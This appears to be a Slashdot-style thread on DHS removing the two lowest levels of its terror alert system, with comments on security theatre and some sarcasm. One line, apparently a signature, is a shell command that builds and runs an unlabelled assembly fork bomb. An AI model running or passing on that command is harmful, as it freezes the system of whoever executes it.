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DHS Ponders "Improving" Terrorism Alert System
An anonymous reader writes "The DHS's color-coded terrorism risk warning system has often been criticized on a number of grounds. However, it seems that at last DHS has taken note of these criticisms and is finally planning to fix one of its problems. Which one? Well, since the two lowest levels have never been used in the history of the program, the solution is obvious: just get rid of them! In the new system, the lowest level would be yellow, 'guarded,' representing 'A constant state of vigilance to protect against a terrorist attack.' While it's nice that they're at least no longer maintaining a pretense of it being for anything other than fear-mongering, I don't think this was the kind of change most people were hoping for."
Those "threat levels" dont mean anything anymore because we are numb to them. The harassment that you get through security is really just an illusion: if you feel like you are inconvenienced and your stuff is being searched, then you feel safe. I remember going through security 3 times on one trip...getting to my hotel and pulling out the power brick from my briefcase only to have my pocket knife come out with it. I didnt intentionally bring it...but...holy crap on a crap cracker...I made it through security with that! There are other stories as well, but its all about the illusion - people feeling safe and people feeling like the govt is doing something. Truth is that if one of these jackholes really wants to do something terroristy - then they will find a way. I hate that it will happen...but it will...and I am sure we will get more inconvenienced over it.
1331461 is only semiprime *sigh* Alas - I am just short of 1337.
The price of freedom will be mainly paid by people who make snarky and unpatriotic comments about vigilance.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
My parents did the same with me. Always making sure i was home before dark, that i didn't reach for boiling pots of water on the stove, trading my lunch money for toys, telling me to not get in cars with strangers. i was far more likely to be hurt playing tag than to be kidnapped if i got in a car with a stranger. What the hell did my parents know? It wasn't any of their business anyway where i was or who was holding me for ransom. Fascist fear mongering assholes.
And don't get me started about "locking" the doors to my house. Like someone is gonna steal my TV while i'm at work or on vacation. That would be totally rude.
Then there are the cops, telling me to "slow down" because i'm going "die in a ball of fire and steel". What do the cops know?
My doctor invented something he called "cholesterol", to scare me away from all the eggs and cheese. i bet he has stock in cereal companies. More of W's trying to pad the pockets of his cronies. If there really was any threat from this "cholesterol" someone would tell me, right? Maybe warn me about the "risks" or tell me how to "control" it. But they just want to control me! Well screw them!
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